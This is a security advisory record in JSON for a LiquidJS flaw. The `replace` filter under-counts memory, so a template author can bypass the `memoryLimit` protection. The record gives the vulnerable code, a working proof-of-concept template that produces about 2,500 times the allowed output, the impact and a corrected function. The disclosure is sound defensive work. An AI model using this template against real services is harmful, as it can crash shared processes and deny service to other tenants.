{"id":"GHSA-mmg9-6m6j-jqqx","summary":"LiquidJS Has Memory Limit Bypass via Quadratic Amplification in `replace` Filter","details":"## Summary\n\nThe `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.\n\n## Details\n\nThe vulnerable code is in `src/filters/string.ts:137-142`:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG: accounts for inputs, not output\n  return str.split(pattern).join(replacement)  // actual output can be quadratically larger\n}\n```\n\nThe `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size:\n\n```\n(number_of_occurrences * replacement.length) + non_matching_characters\n```\n\nWhen every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter.\n\nThe `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated.\n\nThe `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.\n\n## PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n// User explicitly enables memoryLimit for DoS protection (10MB)\nconst engine = new Liquid({ memoryLimit: 1e7 });\n\nconst inputLen = 5000;\nconst aStr = 'a'.repeat(inputLen);\nconst bStr = 'b'.repeat(inputLen);\n\n// Template that should be blocked by 10MB memory limit\nconst tpl = engine.parse(\n  `{%- assign s = \"${aStr}\" -%}` +\n  `{%- assign r = \"${bStr}\" -%}` +\n  `{{ s | replace: \"a\", r }}`\n);\n\n// This should throw \"memory alloc limit exceeded\" but succeeds\nconst result = engine.renderSync(tpl);\n\nconsole.log('Memory limit: 10,000,000 bytes');\nconsole.log('Memory charged:', 10001, 'bytes');\nconsole.log('Actual output:', result.length, 'bytes');  // 25,000,000 bytes\nconsole.log('Amplification:', Math.round(result.length / 10001) + 'x');\n// Output: Amplification: 2500x — completely bypasses the 10MB limit\n```\n\n## Impact\n\nUsers who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:\n\n- Node.js process out-of-memory crashes\n- Denial of service for co-tenant users on the same process\n- Resource exhaustion on the hosting infrastructure\n\nThe impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access.\n\n## Recommended Fix\n\nAccount for the actual output size in the memory limiter by calculating the number of occurrences:\n\n```typescript\nexport function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {\n  const str = stringify(v)\n  pattern = stringify(pattern)\n  replacement = stringify(replacement)\n  const parts = str.split(pattern)\n  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)\n  this.context.memoryLimit.use(outputSize)\n  return parts.join(replacement)\n}\n```\n\nThis computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.","aliases":["CVE-2026-34166"],"modified":"2026-09-10T03:51:02.413692991Z","published":"2026-04-08T15:00:29Z","database_specific":{"nvd_published_at":"2026-04-08T19:25:21Z","cwe_ids":["CWE-400"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-04-08T15:00:29Z"},"references":[{"type":"WEB","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-mmg9-6m6j-jqqx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34166"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/commit/abc058be0f33d6372cd2216f4945183167abeb25"},{"type":"PACKAGE","url":"https://github.com/harttle/liquidjs"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.3"}],"affected":[{"package":{"name":"liquidjs","ecosystem":"npm","purl":"pkg:npm/liquidjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.25.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 10.25.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-mmg9-6m6j-jqqx/GHSA-mmg9-6m6j-jqqx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}